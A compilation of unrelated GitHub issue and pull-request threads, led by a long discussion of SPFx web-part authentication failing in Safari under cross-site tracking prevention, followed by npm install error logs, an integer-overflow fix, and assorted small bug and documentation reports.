Having the same issue on MacOS in Safari using the 'Prevent Cross Site Tracking' setting. Every call from our custom SPFX webpart fails.

Please come up with a solution soon since it renders all our webparts unusable with a client working from Apple devices.

Meanwhile, you can use msal-browser to implement authentication / authorization. This works in incognito mode as well as it uses Auth code flow with PKCE and not the usual implicit grant flow.
https://m365.kksimplifies.com/rvmLkE

Any news to share on this issue? A couple of our clients are affected by this issue and cannot use Safari with cross-site tracking enabled.

The issue we have on MacOS in Safari using the 'Prevent Cross Site Tracking' setting which results in every call from our custom SPFX webpart to fail was resolved last week. But for some reason the fix has been pulled again. This happened on our tenant and the tenants from our clients. Any news to share on the progress?

I'm seeing an issue like this too. I have SPFX WebParts using the built in SPFX AadHttpClient that were working until I logged in today on iOS Safari and started seeing a yellow banner that says "To view the information on this page, you need to verify your identity. Click to provide additional credentials.". Calls to get a token using AadHttpClient fail and error out. When I actually click it and reenter the credentials, the page reloads but the banner does not go away, and the calls still fail. If I disable the "Prevent Cross-Site Tracking" setting on the phone, the problem goes away.
I know the changes to iOS and ITP are the problem. Since this was working up until now it does seem like something changed with how SP is handling it. I thought it could be the recent iOS 14 update that triggered the problem, but I tested with a colleague still on iOS 13. I have been investigating the workarounds using msal-browser, but its non-trivial to implement with multiple WebParts because they can't all have their own instances of MSAL, I need an extension to handle a global instance. There is also the problem of if my WebPart does need to redirect you to the AAD app's redirect uri, I can't have a dynamic reply url.
@patmill should I be trying to build a workaround using MSAL JS 2.0 and PKCE like the link posted by @kunalkankariya or is this coming to SPFX soon? I'd love to be wrong but it seems like there's no way to way to make iOS clients work with the built in AadHttpClient.

@tdwhite0 - You shouldn't have any issue with the redirect URL. Point it to the workbench and it will do the rest. It needn't be dynamic. However, you might have issues if you have multiple webparts on the same page (I haven't tested it yet and didn't work on finding any solution for this yet).

As of today, I can confirm it's still an issue at our tenant (and at least at one of our clients' too).
As a proof of concept I fabricated a little web part to try out @kunalkankariya 's solution for using MSAL v2 and compare it to default SPFx MSGraphClient (ADAL). The results were as expected:
In Safari, with 'prevent cross-site tracking' enabled, ADAL fails where MSAL v2 works:

In Chrome, where I have no such restriction enabled, both work fine:

I work for an ISV where we've built a solution that relies heavily on communicating with the MS Graph and up till now we've always been doing this using SPFx's standard approach (based on ADAL). We're now facing the fact that some clients are starting to report issues using our solution in Safari (either on Mac but also on iPad and iPhone). Up until now we've been telling our clients that Microsoft is working on this issue and that we're waiting for a solution as well. But it's really taking long and it becomes harder and harder to keep our clients' trust.
Of course we could fix this issue (maybe temporarily) by implementing the MSAL v2 library in our solution ourselves, but this requires a lot of effort (probably weeks of development and testing). I'd rather not do this but as said, it should not be in this state for much longer.
@patmill or maybe @VesaJuvonen or @lucabandMSFT could you please give some information regarding the timelines on what you've been working on regarding this? Is a fix or solution 'around the corner' or should I start implementing MSAL v2 myself?
Mark

Hi @MarkyDeParky  / @tdwhite0  - sorry for not responding earlier.  The fix is understood and has been made, and is pending a rollout.  The latest build was pulled back for an unrelated manner, but should start rolling again today I believe.  You should have the fix next week.

Now that the fix (or 'patch' as I now prefer to call it) has been available for about a week, I would like to share my experience with it so far and also ask for some help/clarification:
What's happening from an end user's perspective now that the fix/patch has been rolled out is the following:

In Safari (or an incognito window in Chrome for instance) I go to a SharePoint page with a web part that connects to the Graph REST API
The API call fails (upon this first visit) with the following exception caught: "Please set the correlationId as a valid guid" (errorCode = invalid_guid_sent_as_correlationId). Right now, our solution handles all exceptions the same by showing an error message to the user.
In the background (outside our control) a page refresh is somehow triggered, probably by the fix/patch. This takes up to a second to actually happen, so our error message is displayed for a split-second, possibly confusing the user.
The page is fully reloaded and the Graph API call now works correctly

Unfortunately, as soon as I close and re-open the browser (or open a new tab for that matter), the whole process is repeated: It didn't 'remember' the authentication so it goes through the reloading process again.
The situation is different (even less ideal) when we not only connect to the Graph, but also to other REST API's like Power BI and Windows Virtual Desktop. In that case, the browser does multiple consecutive reloads for each API call that's done to a different REST API.
I could really use some help or clarification on the following topics:

Is the described behavior correct and is this how the fix was indeed implemented and supposed to work?
Is there any way to properly detect that this refresh is happening so I know that I shouldn't treat this scenario as an exception (and in turn show an error message that confuses the end user)?
Is this fix 'here to stay' or will the authentication issue be resolved in the future without the need to do reloads/refreshes? I've heard about the shift from ADAL to MSAL by the SPFx/PnP team but I'm not sure of the timelines and the impact on me as a developer to make this work in my existing solutions

Although our solution is now at least somewhat usable, the situation is still far from ideal. The multiple reloads each time a user (re)visits the page with our web part is pretty annoying but confusing for our end users at the least.
Please advise.
Mark

We decided to build our own library for resolving access tokens for communicating with Azure AD protected endpoints. This library is based on MSAL v2 and supports the ITP scenario (3rd party cookie blocking). We have ensured this implementation can handle scenario's when there are multiple webparts on the same page each requesting a token for making an authorized HTTP request to our backend Azure App Service.
I am aware of the fact that this internally developed library becomes useless when Microsoft comes with a better solution handling the concurrency problems which do exists in the current version as mentioned in this topic (or other related ones).

In Safari (or an incognito window in Chrome for instance) I go to a SharePoint page with a web part that connects to the Graph REST API
The API call fails (upon this first visit) with the following exception caught: "Please set the correlationId as a valid guid" (errorCode = invalid_guid_sent_as_correlationId). Right now, our solution handles all exceptions the same by showing an error message to the user.
In the background (outside our control) a page refresh is somehow triggered, probably by the fix/patch. This takes up to a second to actually happen, so our error message is displayed for a split-second, possibly confusing the user.
The page is fully reloaded and the Graph API call now works correctly

Hi @MarkyDeParky, this sounds like the same issue we have in our custom SPFx solution. Did you ever find a workaround for it?

In Safari (or an incognito window in Chrome for instance) I go to a SharePoint page with a web part that connects to the Graph REST API
The API call fails (upon this first visit) with the following exception caught: "Please set the correlationId as a valid guid" (errorCode = invalid_guid_sent_as_correlationId). Right now, our solution handles all exceptions the same by showing an error message to the user.
In the background (outside our control) a page refresh is somehow triggered, probably by the fix/patch. This takes up to a second to actually happen, so our error message is displayed for a split-second, possibly confusing the user.
The page is fully reloaded and the Graph API call now works correctly

Hi @MarkyDeParky, this sounds like the same issue we have in our custom SPFx solution. Did you ever find a workaround for it?

Hi @kenneho, unfortunately I haven't received any feedback and since we're still experiencing this behavior at this day, a reply is still very much welcome.
@patmill, you replied before, could you please answer my questions/address our concerns?
Mark

Hi @kenneho, unfortunately I haven't received any feedback and since we're still experiencing this behavior at this day, a reply is still very much welcome.
@patmill, you replied before, could you please answer my questions/address our concerns?
Mark

sorry folks for our delay in answering. the ITP  / 3rd party cookies blocked should be resolved now per our understanding as the fix rolled 100% in production. if that is not .. would be possible to get access to the tenant to see if we can experience the problem and maybe get a trace?

sorry folks for our delay in answering. the ITP / 3rd party cookies blocked should be resolved now per our understanding as the fix rolled 100% in production. if that is not .. would be possible to get access to the tenant to see if we can experience the problem and maybe get a trace?

Thanks for the response, @lucabandMSFT, but could you please take a moment to respond to the questions I asked earlier? The problem is not that there is no solution, because we see that it's there; it's the actual solution that raises questions (and eyebrows).

Very sorry to bother you all again and repeat my question, but behavior is still the same and we're still waiting for answers.
@patmill or maybe @VesaJuvonen or @lucabandMSFT, could you please take a moment to respond to the questions I asked earlier?

The problem is the blocking of 3rd party cookies. If that is turned off, then an iframe is used, and you see nothing.
Safari 13+ turned on ITP which blocks 3rd party cookies (among other things) and this makes it so a full page redirect is required to authenticate. This behavior is currently not enforced by chrome or edge, but 3rd party cookies can be blocked in these browsers too, which will cause this same issue. The full page redirect is expected for auth, and once for each unique aadHttpClient context with a maximum of 3 redirects per minute. This means that if there are more than 3 SPFx parts using a client with unique contexts, the next 3 parts have to wait a minute to refresh and get their tokens. There is an effort to fix these issues and it is currently under development but is a major architectural shift. Alternatively you can roll your own authentication using the MSALv2 library, and this can use pop-ups or redirects, whichever is desired. The problem with this is that it requires not using the aadHttpClient object, but doing your own auth and calls.


Ivana Seric: The evolution of basketball with data science | PyData Córdoba 2019

https://youtu.be/exGg6J14utA?list=PLrreiQzMtASRWlvA20GiuN4qukHrjWhAZ
Contents
0:00  - Introduction
3:02  - Analytics in baseball
6:35  - History about Don Knuth (Electronic Coach)
8:54  - Collected data in 1962 (just the boxscore)
10:20 - Collected data since 1996 (play-by-play)
13:56 - Early development in 2000s of tracking players in-game
15:31 - Spatio-Temporal Data
22:53 - Defensive Metrics
26:32 - Questions

Thanks!


Add ability to query for "missing" datasets....

It would be useful, for e.g. for both the fractional cover processing and potentially the WOFs processing, to have an API query which returned "missing" datasets.
That is, give me a list of NBAR datasets for which there is NOT an associated FC (or WOFS or ...) dataset

The datacube.api.query module now supports querying for missing cells and datasets.
Refer to the list_cells_missing and list_tiles_missing in the API Python Function Reference.
There are also example usages in the API Overview


Async Component being overwritten in Multi-Crud Page example

Can be seen in latest develop branch
When you select the multi-crud page example.
If you open left CRUD table filter, you see header Party Notes Component Filter (it should be "Party Notes Filter").
If you open right CRUD table filter, you see header Party Notes Component Filter.
Somehow, somewhere the Filter component that is async loaded is being overwritten
https://github.com/ais-one/vue-crud-x/blob/develop/example/src/components/MultiCrudPage/Example.vue

fixed


License Issue

We recently decided to not use software that is licensed with WTFPL, Unlicense or CC0 anymore (see [1] or [2] for some problems with these licenses).
Since we would like to keep using mdi-material-ui it would be great if you could relicense this package under the MIT license. Or is there a specific reason for you to keep using the WTFPL?
[1] https://en.wikipedia.org/wiki/WTFPL#Reception
[2] https://softwareengineering.stackexchange.com/questions/147111/what-is-wrong-with-the-unlicense

As clearly stated in the license, you can do whatever the f_ck you want with this code. Just copy it and relicense it or whatever. :smile: Keep in mind that the icons are MIT.

Keep in mind that the README says:

The scripts included in this repository are licensed under the WTFPL. The icons are licensed under the MIT license (see Material Design Icons and the NOTICE file).

So as long as you're using the icons and not the scripts to generate the files, it's all MIT. :wink:

Edit edit: The next versions will be MIT. :man_shrugging:

Thank you very much xD.
BTW, I personally like the WTFPL, we just can't use it unfortunately.


Fix npm run in Windows (issue #305)

Hey @benoror, thanks for the help! A few things.
First, I don't want to have all of that commit history in the repo when I merge this. Please remove all that history and just have a single commit with your changes.
Second, I tried your changes locally and it doesn't work on my mac. I definitely want to have a solution that works everywhere. I'm thinking that a good solution would be to have a single script that sets the environment variables for us and invokes the scripts. So it would be something like:
"scripts": {
  "build:dist": "node scripts/run-script.js build:dist",
  "build:prod": "node scripts/run-script.js build:prod",
  "build": "node scripts/run-script.js build",
  "test": "node scripts/run-script.js test",
  "test:single": "node scripts/run-script.js test:single",
  "test:ci": "node scripts/run-script.js test:ci",
  "watch": "node scripts/run-script.js watch",
  "start": "node scripts/run-script.js start",
  "release": "node scripts/run-script.js release"
}

And the scripts/run-script.js would actually set process.env.NODE_ENV before invoking the script. Do you think that would work?

Sorry for the mess @kentcdodds , I'm still struggling to learn OSS collaboration procedures.
I'll try again as soon as I have an Unix environment available, BTW this situation must have been faced by many other projects, I'll investigate

Absolutely. Thank you for being patient and working at it. Much appreciated! :+1:

Closing this PR. I like the middleware approach you mentioned. Feel free to take a stab at a PR for it if you're feeling ambitious :-)


Ensure map file input is handled properly when not sorted in ascending order

see discussion in #154

What happens when map file positions (rows) and corresponding genotype file (columns) are not given in ascending order?
Do our calculations handle this out of the box? Do we need to do anything (say, reorder inputs?, change calcs?, ...).
Also, what should we do with the output? Should the output be returned sorted or with the original order?


Fix overflow - WIP

REPRODUCE WITH: ./gradlew :server:test --tests "io.crate.integrationtests.CursorITest.test_fetching_from_cursor_positioned_at_end_returns_empty_result" -Dtests.seed=CF1B3998759842D0 -Dtests.locale=mas-Latn-KE -Dtests.timezone=Canada/Atlantic

CursorITest > test_fetching_from_cursor_positioned_at_end_returns_empty_result FAILED
    org.opentest4j.AssertionFailedError at CursorITest.java:100
org.opentest4j.AssertionFailedError:
Expecting value to be false but was true
	at __randomizedtesting.SeedInfo.seed([CF1B3998759842D0:95666F12FFDBF0DB]:0)

It's a guess, that it maybe not guranteed that integer addition
overflow, results into a negative int, so use a long for the addition
and check if that long exceeds Integer.MAX_VALUE.

retest this please

irrelevant io.crate.integrationtests.LogicalReplicationITest.test_write_to_subscribed_empty_partitioned_table_is_forbidden failure

retest this please

it maybe not guranteed that integer addition
overflow, results into a negative int

looks like its not guaranteed indeed: https://docs.oracle.com/javase/specs/jls/se7/html/jls-15.html#jls-15.18

If an integer multiplication overflows, then the result is the low-order bits of the mathematical product as represented in some sufficiently large two's-complement format. As a result, if overflow occurs, then the sign of the result may not be the same as the sign of the mathematical product of the two operand values.

the sign of the result may not be  - I understand this "may" as undefined behavior by overflowing, similar to C. Probably that's why they introduced Math.addExact.

looks like its not guaranteed indeed: https://docs.oracle.com/javase/specs/jls/se7/html/jls-15.html#jls-15.18

If an integer multiplication overflows, then the result is the low-order bits of the mathematical product as represented in some sufficiently large two's-complement format. As a result, if overflow occurs, then the sign of the result may not be the same as the sign of the mathematical product of the two operand values.

This is for multiplication though, for addition (15.18.2)
If an integer addition overflows, then the result is the low-order bits of the mathematical sum as represented in some sufficiently large two's-complement format. If overflow occurs, then the sign of the result is not the same as the sign of the mathematical sum of the two operand values.
...
...

In the remaining cases, where neither an infinity, nor a zero, nor NaN is involved, and the operands have the same sign or have different magnitudes, the exact mathematical sum is computed.

If the magnitude of the sum is too large to represent, we say the operation overflows; the result is then an infinity of appropriate sign.

Otherwise, the sum is rounded to the nearest representable value using the round to nearest rounding policy ([§15.4](https://docs.oracle.com/javase/specs/jls/se19/html/jls-15.html#jls-15.4)). The Java programming language requires support of gradual underflow.

but since Math.addExact() is doing that bitwise check, we should prefer it to the (long) + > Integer.MAX_VALUE approach.

@mfussenegger Please check: https://github.com/crate/crate/pull/13557/commits/001c22556634c495bd3b248eaeefa014c016d5e5 (currently I added iterations).

retest this please

retest this please

retest this please

@mfussenegger Could you please check now?


unable to install<EMAIL_ADDRESS>

seems like stuck at building<EMAIL_ADDRESS>is it the problem of git-blame of runas?
atom 1.16.0
system win10 x64
error message
apm install git-blame
npm WARN deprecated<EMAIL_ADDRESS>Switch to regular React - this project is no longer maintained
gyp ERR! build error
gyp ERR! stack Error: C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe failed with exit code: 1
gyp ERR! stack     at ChildProcess.onExit (C:\Users\noe\AppData\Local\atom\app-1.16.0\resources\app\apm\node_modules\node-gyp\lib\build.js:276:23)
gyp ERR! stack     at emitTwo (events.js:106:13)
gyp ERR! stack     at ChildProcess.emit (events.js:191:7)
gyp ERR! stack     at Process.ChildProcess._handle.onexit (internal/child_process.js:215:12)
gyp ERR! System Windows_NT 10.0.14393
gyp ERR! command "C:\Users\noe\AppData\Local\atom\app-1.16.0\resources\app\apm\bin\node.exe" "C:\Users\noe\AppData\Local\atom\app-1.16.0\resources\app\apm\node_modules\node-gyp\bin\node-gyp.js" "rebuild"
gyp ERR! cwd C:\Users\noe\AppData\Local\Temp\apm-install-dir-117316-10840-gfc0fa.422ibb7qfr\node_modules\git-blame\node_modules\runas
gyp ERR! node -v v6.9.5
gyp ERR! node-gyp -v v3.4.0
gyp ERR! not ok
npm WARN enoent ENOENT: no such file or directory, open 'C:\Users\noe\AppData\Local\Temp\apm-install-dir-117316-10840-gfc0fa.422ibb7qfr\package.json'
npm WARN apm-install-dir-117316-10840-gfc0fa.422ibb7qfr No description
npm WARN apm-install-dir-117316-10840-gfc0fa.422ibb7qfr No repository field.
npm WARN apm-install-dir-117316-10840-gfc0fa.422ibb7qfr No README data
npm WARN apm-install-dir-117316-10840-gfc0fa.422ibb7qfr No license field.
npm ERR! Windows_NT 10.0.14393
npm ERR! argv "C:\Users\noe\AppData\Local\atom\app-1.16.0\resources\app\apm\bin\node.exe" "C:\Users\noe\AppData\Local\atom\app-1.16.0\resources\app\apm\node_modules\npm\bin\npm-cli.js" "--globalconfig" "C:\Users\noe\.atom\.apm\.apmrc" "--userconfig" "C:\Users\noe\.atom\.apmrc" "install" "C:\Users\noe\AppData\Local\Temp\d-117316-10840-9fpvox.7rdarftj4i\package.tgz" "--runtime=electron" "--target=1.3.13" "--arch=x64" "--global-style"
npm ERR! node v6.9.5
npm ERR! npm  v3.10.5
npm ERR! code ELIFECYCLE
npm ERR<EMAIL_ADDRESS>install: node-gyp rebuild
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>install script 'node-gyp rebuild'.
npm ERR! Make sure you have the latest version of node.js and npm installed.
npm ERR! If you do, this is most likely a problem with the runas package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     node-gyp rebuild
npm ERR! You can get information on how to open an issue for this project with:
npm ERR!     npm bugs runas
npm ERR! Or if that isn't available, you can get their info via:
npm ERR!     npm owner ls runas
npm ERR! There is likely additional logging output above.
npm ERR! Please include the following file with any support request:
npm ERR!     C:\Users\noe\AppData\Local\Temp\apm-install-dir-117316-10840-gfc0fa.422ibb7qfr\npm-debug.log
npm ERR! code 1

I confirm: this is the output I get on Linux Gentoo
Updating to<EMAIL_ADDRESS>failed.Hide output…

><EMAIL_ADDRESS>install /tmp/apm-install-dir-117318-24091-15e838r/node_modules/git-blame/node_modules/runas
> node-gyp rebuild

/tmp/apm-install-dir-117318-24091-15e838r
└── (empty)

npm WARN deprecated<EMAIL_ADDRESS>Switch to regular React - this project is no longer maintained
/usr/share/atom/resources/app/apm/node_modules/npm/bin/node-gyp-bin/node-gyp: line 5: /usr/share/atom/resources/app/apm/bin/../node_modules/.bin/node-gyp: Permission denied
npm WARN enoent ENOENT: no such file or directory, open '/tmp/apm-install-dir-117318-24091-15e838r/package.json'
npm WARN apm-install-dir-117318-24091-15e838r No description
npm WARN apm-install-dir-117318-24091-15e838r No repository field.
npm WARN apm-install-dir-117318-24091-15e838r No README data
npm WARN apm-install-dir-117318-24091-15e838r No license field.
npm ERR! Linux 4.5.0-gentoo-r1
npm ERR! argv "/usr/share/atom/resources/app/apm/bin/node" "/usr/share/atom/resources/app/apm/node_modules/npm/bin/npm-cli.js" "--globalconfig" "/home/fld/.atom/.apm/.apmrc" "--userconfig" "/home/fld/.atom/.apmrc" "install" "/tmp/d-117318-24091-1cxz17f/package.tgz" "--runtime=electron" "--target=1.3.13" "--arch=x64" "--global-style"
npm ERR! node v4.4.5
npm ERR! npm  v3.10.5
npm ERR! code ELIFECYCLE

npm ERR<EMAIL_ADDRESS>install: `node-gyp rebuild`
npm ERR! Exit status 126
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>install script 'node-gyp rebuild'.
npm ERR! Make sure you have the latest version of node.js and npm installed.
npm ERR! If you do, this is most likely a problem with the runas package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     node-gyp rebuild
npm ERR! You can get information on how to open an issue for this project with:
npm ERR!     npm bugs runas
npm ERR! Or if that isn't available, you can get their info via:
npm ERR!     npm owner ls runas
npm ERR! There is likely additional logging output above.

npm ERR! Please include the following file with any support request:
npm ERR!     /tmp/apm-install-dir-117318-24091-15e838r/npm-debug.log
npm ERR! code 1

version 1.0.1 not getting installed on OS X Yosemite as well.

I've been looking into this since I've been getting this error on Windows 10 as well.  atom/node-runas#26 seems to be documenting this failure on the upstream library.

I encountered a similar error when updating to 1.0.2 but installing via command line with apm fixed the issue.
apm install git-blame

I still got the runas error when installing from a cloned copy of the
repo at the v1.0.2 tag, so I think it might be part of the environment in
which it's being installed.
On Wed, May 17, 2017 at 17:06 Brandon Kirklen<EMAIL_ADDRESS>wrote:

I encountered a similar error when updating to 1.0.2 but installing via
command line with apm fixed the issue.
apm install git-blame
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/alexcorre/git-blame/issues/176#issuecomment-302231768,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AASZ8cI5ljoU2V04ldGA45UhE6SCbplQks5r62FagaJpZM4M-n4m
.

The same error for v1.1.0. Atom v1.17.0 x64, Manjaro Linux.
><EMAIL_ADDRESS>install /tmp/apm-install-dir-117418-14625-1b0flcb.46q2pujtt9/node_modules/git-blame/node_modules/runas
> node-gyp rebuild

/tmp/apm-install-dir-117418-14625-1b0flcb.46q2pujtt9
└── (empty)

npm WARN deprecated<EMAIL_ADDRESS>Switch to regular React - this project is no longer maintained
gyp ERR! configure error
gyp ERR! stack Error: Python executable "/usr/share/atom/resources/app/apm/bin/python-interceptor.sh" is v3.6.1, which is not supported by gyp.
gyp ERR! stack You can pass the --python switch to point to Python >= v2.5.0 & < 3.0.0.
gyp ERR! stack     at failPythonVersion (/usr/share/atom/resources/app/apm/node_modules/node-gyp/lib/configure.js:454:14)
gyp ERR! stack     at /usr/share/atom/resources/app/apm/node_modules/node-gyp/lib/configure.js:443:9
gyp ERR! stack     at ChildProcess.exithandler (child_process.js:197:7)
gyp ERR! stack     at emitTwo (events.js:106:13)
gyp ERR! stack     at ChildProcess.emit (events.js:191:7)
gyp ERR! stack     at maybeClose (internal/child_process.js:877:16)
gyp ERR! stack     at Process.ChildProcess._handle.onexit (internal/child_process.js:226:5)
gyp ERR! System Linux 4.9.27-1-MANJARO
gyp ERR! command "/usr/share/atom/resources/app/apm/bin/node" "/usr/share/atom/resources/app/apm/node_modules/.bin/node-gyp" "rebuild"
gyp ERR! cwd /tmp/apm-install-dir-117418-14625-1b0flcb.46q2pujtt9/node_modules/git-blame/node_modules/runas
gyp ERR! node -v v6.9.5
gyp ERR! node-gyp -v v3.4.0
gyp ERR! not ok
npm WARN enoent ENOENT: no such file or directory, open '/tmp/apm-install-dir-117418-14625-1b0flcb.46q2pujtt9/package.json'
npm WARN apm-install-dir-117418-14625-1b0flcb.46q2pujtt9 No description
npm WARN apm-install-dir-117418-14625-1b0flcb.46q2pujtt9 No repository field.
npm WARN apm-install-dir-117418-14625-1b0flcb.46q2pujtt9 No README data
npm WARN apm-install-dir-117418-14625-1b0flcb.46q2pujtt9 No license field.
npm ERR! Linux 4.9.27-1-MANJARO
npm ERR! argv "/usr/share/atom/resources/app/apm/bin/node" "/usr/share/atom/resources/app/apm/node_modules/npm/bin/npm-cli.js" "--globalconfig" "/home/yury/.atom/.apm/.apmrc" "--userconfig" "/home/yury/.atom/.apmrc" "install" "/tmp/d-117418-14625-1bao4em.lhhxueg66r/package.tgz" "--runtime=electron" "--target=1.3.15" "--arch=x64" "--global-style"
npm ERR! node v6.9.5
npm ERR! npm  v3.10.5
npm ERR! code ELIFECYCLE

npm ERR<EMAIL_ADDRESS>install: `node-gyp rebuild`
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>install script 'node-gyp rebuild'.
npm ERR! Make sure you have the latest version of node.js and npm installed.
npm ERR! If you do, this is most likely a problem with the runas package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     node-gyp rebuild
npm ERR! You can get information on how to open an issue for this project with:
npm ERR!     npm bugs runas
npm ERR! Or if that isn't available, you can get their info via:
npm ERR!     npm owner ls runas
npm ERR! There is likely additional logging output above.

npm ERR! Please include the following file with any support request:
npm ERR!     /tmp/apm-install-dir-117418-14625-1b0flcb.46q2pujtt9/npm-debug.log
npm ERR! code 1

@alexcorre I don't think this is exclusively a Windows issue, since there has been mention of both Gentoo and macOS installation problems as well. My hunch is something about whether people have their own versions of Node installed on the system where Atom is installed (I don't on Windows since I use Linux VMs for running DEV environment), but I haven't had a chance to check into that hunch.

looked into it and runas is a dep of pathwatcher which i'm no longer using since v1.0. We lost some reactivity features...but i'll be able to bring that back with atom core apis i think. opened #187 to remove this dep.

@alexcorre thanks a lot for this! :)

🙌 Removing that dependency did the trick for me! Thanks! 🎉


Fix colors on dark themes

GitHub recently seems to have changed its --color* vars to --fgColor*/--bgColor*. This updates the --rgh* color vars to use the new names, as leaving them at defaults causes issues in colorblind/dark themes.
Note that --fgColor-danger in Default Light Mode is now #d1242f which differs from the previously (still) defined default we have of #cf222e (now on --bgColor-danger-emphasis, among other vars). I am colorblind so I will need someone else to tell me if this is a significant difference and/or if the default value should also be updated for --rgh-red.
Also note that --borderColor-muted in Default Light Mode is now #d0d7deb3 which differs from our default of #d8dee4. A var with this color is no longer present in Default Light Mode, but we can consider changing it to --borderColor-default instead, which is #d0d7de (no alpha).
Fixes #7305
Test URLs
https://github.com/notifications, various other pages that rely on rgh* color values.
Screenshot
Old Light:

New Light:

Old Dark:

New Dark:

Thank you @FlaminSarge! That fixed it.
I expect more issue to crop up since we have more such variables, but this seems to be the most urgent/visible
https://github.com/search?q=repo:refined-github/refined-github%2520--color-&type=code


Dart: support digit separators

Dart is adding support for digit separators, the underscore, like 1_000_000 or 0x33_33_33. The Dart playground, DartPad, still runs on codemirror5, so this would be a welcome fix.

That regexp seems to allow underscores anywhere, whereas the linked proposal only allows them between digits. I think this'll make _ tokenize as a number, which doesn't seem right.

As I understand it, the number pattern is only checked when we see numberStart, line 65 in clike.js. With manual testing, I see that _ is styled as a "variable."
As for other spots where _ is not allowed (e.g. in 1_._0, neither underscore is allowed), I think it is fine to allow them for the purposes of in-progress typing, and error-recovery. For example, in the Dart parser, we parse 1_._0 as a number literal, and also report an error. This reduces errors-carried-forward. And for a trailing _ like 100_, it is fine to allow it for code-in-progress.
If you think we should be more strict here and only parse error-free numbers as numbers, I can amend the PR.

Oh, indeed, there's a separate regexp for the start of the number. Then this is close enough, indeed.


Project: M365 Health Check

Project name
M365 Health Check
Description
Simple console application that provides the health report of all subscribed services for a tenant, using Microsoft Graph ServiceHealth APIs
Repo URL
https://github.com/srpmtt/m365-health-check
Team members
srpmtt

Cool! Thank you for your hack @srpmtt!

Hey @srpmtt, would you mind recording a short video walkthrough of your hack? Any format will work. It's not required for the hackathon but it would help us showcase your work both internally at Microsoft and publicly in the community. 😊

@waldekmastykarz i've added a short video in the repo and in the project readme, let me know if it's ok.

Perfect! Thank you so much!


Diffie Hellman

🛠 Issue (Number)

Issue no #552
👨💻 Changes proposed

Added Diffie Hellman Key exchange algorithm in C and C++
✔ Check List (Check all the applicable boxes)

[✔] My code follows the code style of this project.
[✔] This PR does not contain plagiarized content.
[✔] The title of my pull request is a short description of the requested changes.

📄 Note to reviewers

📷 Screenshots

All SSoC'23 PRs will be accepted after 1st June 2023


Fix Web API port

Web API is hosted port 44351 by default
Purpose

Fix README.md
Does this introduce a breaking change?

[ ] Yes
[x] No

Pull Request Type
What kind of change does this Pull Request introduce?

[ ] Bugfix
[ ] Feature
[ ] Code style update (formatting, local variables)
[ ] Refactoring (no functional changes, no api changes)
[x] Documentation content changes
[ ] Other... Please describe:

How to Test
N/A
What to Check
N/A
Other Information

N/A

We appreciate you taking time to propose a fix, but Visual Studio/dotnet core engine will change port as assigned in the project file if that port is already busy.
So, if we accept this change, we'd just break another set of developers for whom the specified port is free.


README has incorrect configuration for cmp integration feature

Current behavior
README, in the Plain Text section, states:
    cmp = {
        text = {
            prerelease = " pre-release ",
            yanked = " yanked ",
        },
    }

This leads to vim complaining on startup, Ignoring invalid config key 'cmp'.
Neovim version

nvim --version
NVIM v0.7.2
Build type: Release
LuaJIT 2.1.0-beta3
Compiled by<EMAIL_ADDRESS>

Good catch, the plain text config example is unfortunately not generated.


The UWD algebra of structured multicospans

Sequel to #315 that realizes structured multicospans as an algebra of the operad of undirected wiring diagrams. This is the unbiased alternative to structured cospans as a hypergraph category.
A bit more testing is needed, but with the right machinery now in place this is surprisingly easily to implement: just set up the appropriate diagram and compute its colimit!
@mehalter, this should replace the whole pipeline of @program -> to_hom_expr -> functor.

OK, the syntax
seq = @relation (a,c) where (a,b,c) begin
  g(a,b)
  h(b,c)
end
k = seq([g, h])

is not going to work on Julia 1.0. What should call this operation then? oapply or omap?

I like oapply or oeval because it is like evaluating a formula instead of mapping over a data structure (of course formulas are stored as structures).


Add boostlook to library readme's in V2

Add boostlook to readme files in libraries for formatting the text.

LOL at the title of this issue... you should add "... or it gets the hose again."

fair point....

boostlook.css is successfully being pulled into the library pages and formatting elements - closing issue.


scripts: enable file share between guest and host

Enable 9p filesystem in host and setup the
environment to facilitate file sharing.
Tracked-On: OAM-97260
Signed-off-by: nitishat<EMAIL_ADDRESS>

The feature is already present in start_civ.sh script


Consume Stream by more than one Sink?

Hi,
I haven't found this in the API docs I assume its not possible right now but I wanted to raise/ask it here: is it possible to consume a stream somehow from two sinks? I understand that there might be more overhead involved with borrowing but my use case is I have a data pipeline which currently has one sink (like a database). But I also want to allow lets say my stdout sink to print what the database sink is writing out. (right now my code can select either or).
The related question is how to split a Stream into N "downstream streams" that I can consume individually?

If you are dealing with multiple sinks, you have to decide if:
a) You will dispatch to the sinks in lock step. In which case, you are limited by the slowest sink.
b) You add a buffering layer so that sinks can operate at different rates.
Implementing a) would be a fairly straight forward combinator. Implementing b) is a lot more tricky. I was experimenting w/ futures-broadcast a while ago, which would basically support that case, but it is far from ready.

@carllerche thanks yeah I think a buffering would make most sense in terms of scalability. Note that I need that maybe more or less anyways if I want to support the case where the underlying sink is currently not ready to consume and I have data incoming without stalling it immediately (or handling bursts in a more graceful manner)
Would the same approach apply to consuming streams from more than one consumer?

I think so.

It looks like the issue is resolved and has gone inactive. I'll close it now.


Upgrade communication signaling version to 1.0.0.beta.12

What
Upgrading communication-signaling to add metadata to events data
Why
The dependency @azure/communication-signaling needs to be updated to 1.0.0.beta.12 as the one we are using (beta.5) doesn't expose metadata in the event type ChatMessageReceivedEvent.
Also update EventSubscriber in Chat stateful client to capture the metadata information and forward it to the state.
(https://skype.visualstudio.com/SPOOL/_workitems/edit/2706004)
How Tested

Process & policy checklist

[ ] I have updated the project documentation to reflect my changes if necessary.
[ ] I have read the CONTRIBUTING documentation.

Is this a breaking change?

[ ] This change causes current functionality to break.

We should instead be dropping this dependency entirely. We're depending on a beta package from our stable versioned package, which is not good.
iiuc, all the functionality in @azure/communication-signaling should be available via @azure/communication-chat.

Do you have an immediate solution for this?
Or suggestion for going forward?

We should instead be dropping this dependency entirely. We're depending on a beta package from our stable versioned package, which is not good.
